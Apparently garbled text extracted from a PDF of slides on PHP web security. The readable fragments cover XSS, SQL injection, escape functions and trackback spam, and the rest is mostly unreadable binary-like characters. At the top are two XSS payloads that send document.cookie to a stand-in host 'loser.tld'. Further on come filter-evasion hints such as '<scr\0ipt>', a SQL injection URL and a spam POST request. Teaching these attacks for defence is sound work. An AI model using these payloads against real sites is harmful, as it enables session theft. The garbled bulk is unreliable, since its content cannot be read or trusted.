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» <script>window.navigate(

"http://loser.tld/?" + 
document.cookie);
</script>
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» <script>(new Image()).src = 
"http://loser.tld/?" + document.cookie;

</script>

 <$��!���

$�����
�������!�
�������
����

*'-':�:4E���#F�I����

*	����������
�����"�'-':�
���������������@�
���!����!����#�
��$�

��������	
������
�
���	������	����

10

����#
��
�!2�:((������
��

$���
����/�����#
��
�!2�:((������
��

$���
����/�����#
��
�!2�:((������
��

$���
����/�����#
��
�!2�:((������
��

$���
����/�

 ��������D���
��$����7��������-�7�(�
�#�
»<meta> ��������������������"����
�&�
��
#�������

$�����
������������&�@������
�������

»�(F%���
����(����F�I�����%�
��
���������

���������7����!J���
����
���������������)�

�I�����K���������&���������������@������
����
��
����

 4$(#������
!����	�����
�/001
* ���#2;;��!��
�;#�#�
�
;

 '�7������7�
������(�#��!��
�/00/
* ���#2;;������7�������
�;�
���
�;181���!


��������	
������
�
���	������	����

11

����#
��
�!2�:((������
��

$���
����.�����#
��
�!2�:((������
��

$���
����.�����#
��
�!2�:((������
��

$���
����.�����#
��
�!2�:((������
��

$���
����.�

 :((������������!��&
�!��7�
$���
�
*L?�;)	(��7�
���
��

*�������

*���)������
�

 ����#
��
�!!�
�����!��������#�
�7�
$���
�

*)
������2� echo() ; print() ; *printf()

*(������������
�2� header()

*�
������&�
��2� fwrite()

��������	
������
�
���	������	����

12

	
�;������
�����2�?���#�����#��	
�;������
�����2�?���#�����#��	
�;������
�����2�?���#�����#��	
�;������
�����2�?���#�����#��

•htmlspecialchars() ����������
���
*+���!�������
����
����#2;;���&
�����
�;�
���7�;=>M ��

 (�
�##���� <script.*> ���H��������������
»javascript: #������NFE�

*
���
��������-�7�(�
�#���7��������
�
��
����
onload "�onerror "�onabort "����

*����
����?@#
�
�
�����#��� <scr\0ipt>

•wordwrap() D�����
��#�
�!���
���
#�



3

��������	
������
�
���	������	����

13

'�����'�����'�����'�����

 :((�F�7������
 (GE�(GE�(GE�(GE���H��������H��������H��������H������ F�7������F�7������F�7������F�7������
 ������H�������
 ������� +
���
 '7������ '���!�����

��������	
������
�
���	������	����

14

	
��#
��
�!2�(GE���H������	
��#
��
�!2�(GE���H������	
��#
��
�!2�(GE���H������	
��#
��
�!2�(GE���H������

 )
��
�!2������!���!!���������
�!���������������(GE������!���

 E�!����!�2
»http://localhost/script.php?target=category&cat

egory_id='SQL_INJECTION

 ?7���
�!�
��@#
���������&�������@#
���2
* O�����

�
�!������P�
�7��
����
��!�"����
��
��&�
!��������������7�
$������
�����������$�
����@#
����

��������	
������
�
���	������	����

15

����#
��
�!2�(GE���H��������������
������#
��
�!2�(GE���H��������������
������#
��
�!2�(GE���H��������������
������#
��
�!2�(GE���H��������������
��

 N��	���������
 N������

�
�!����������������
�
��&�
!�����

 +
����(GE��������
 N��������
�����&��������
����������
�$���!����
���#
�����
��

*C�
$��&&����7�������4((GE

 (�������
��
�(GE���H������
 <�( �������

��������	
������
�
���	������	����

16

	
�;������
�����2�C�
��������#��	
�;������
�����2�C�
��������#��	
�;������
�����2�C�
��������#��	
�;������
�����2�C�
��������#��

 '
��$������#
�#�
��������!����
 ��7�
������������#
�#�
��������!����

 )
�#�
��������!������
��������
�����

 �&������7��
��
�"���������#��&������������ �


����

*<�������������
������#�������(GE�
��&&�
���
$�� '' "�\' �

 4�����������
��� ����

* ���#2;;���&
�����
�;�
���7�;=M8

* ���#2;;�
�����;�
���7��;=0.�
!$�I
Q
��
Q����#�Q��
����7�
����
)
�#�
���(����!�������!


��������	
������
�
���	������	����

17

	
�;������
�����2�C�
��������#����/�	
�;������
�����2�C�
��������#����/�	
�;������
�����2�C�
��������#����/�	
�;������
�����2�C�
��������#����/�

MySQL mysql_real_escape_string() � **

MSSQL addslashes()* �

SQLite sqlite_escape_string() �

PostgreSQL pg_escape_string() �

Oracle --- �

DB Escape Function Prepared St.

*with ini_set('magic_quotes_sybase', 1)
** only ext/mysqli

��������	
������
�
���	������	����

18

'�����'�����'�����'�����

 :((�F�7������
 (GE���H������ F�7������
 ������������������H���������H���������H���������H�������
 ������� +
���
 '7������ '���!�����



4

��������	
������
�
���	������	����

19

����#
��
�!2�:)������H����������#
��
�!2�:)������H����������#
��
�!2�:)������H����������#
��
�!2�:)������H������

 )
��
�!2������!���!!���������
�!���������������:)����I��
$

 C�
$������
�����&������:)����I��
$����
������������������������
�

 '����"��
������H���������������#�����
�
 C�
$���!!��������
��2�������
7����

��������	
������
�
���	������	����

20

������
�����2�C�
�����;����#�������
�����2�C�
�����;����#�������
�����2�C�
�����;����#�������
�����2�C�
�����;����#�

 ����������������!����������������
I��
$

*<����
�������
����
�2� AAAA"�RRRR

 ����!�
����!#
�@���������
��$�����"�
���������
�����������7�

������!������

��������	
������
�
���	������	����

21

����)
��
�!2�F��?@���H����������)
��
�!2�F��?@���H����������)
��
�!2�F��?@���H����������)
��
�!2�F��?@���H������

 )
��
�!2� � !���&��
����
���
�
�
�@#
�������

 ?@�
�!�
$������
�����&����
���##
����
���������!���������������
���
�
�
�@#
������

 '
���
�
$�������@��������!�$����
�������
$

 �����#�#�
2�
���#2;;�����
��������;#
�$�
����;
#�#�
�;F��?@��H�������#�&

��������	
������
�
���	������	����

22

����(�
�����2�C�
�����;?���#�����(�
�����2�C�
�����;?���#�����(�
�����2�C�
�����;?���#�����(�
�����2�C�
�����;?���#�

 ����������������!����������������I��
$
*<����
�������
����
�2� SSSS"�AAAA"�RRRR

 �
$�����7�������� � !���&��


��������	
������
�
���	������	����

23

'�����'�����'�����'�����

 :((�F�7������
 (GE���H������ F�7������
 ������H�������
 ���������������������������� +
��� +
���+
���+
���
 '7������ '���!�����

��������	
������
�
���	������	����

24

����#
��
�!2��
������������#
��
�!2��
������������#
��
�!2��
������������#
��
�!2��
��������
�#�!!����#�!!����#�!!����#�!!���

 )
��
�!2�(#�!!�
���
������
���������
������
���������������
�NFE�!���������
�������
�&�
�����
�����������
�L���
��
)���F���

 �
��������')�����7�
$���!#
�
» POST http://victim.tld/trackback?id=0815

Content-type: application/x-www-form-urlencoded

title=Buy+stuff&url=http://spammer.tld/&excerpt=B
uy+my+stuff&blog_name=Spamblog
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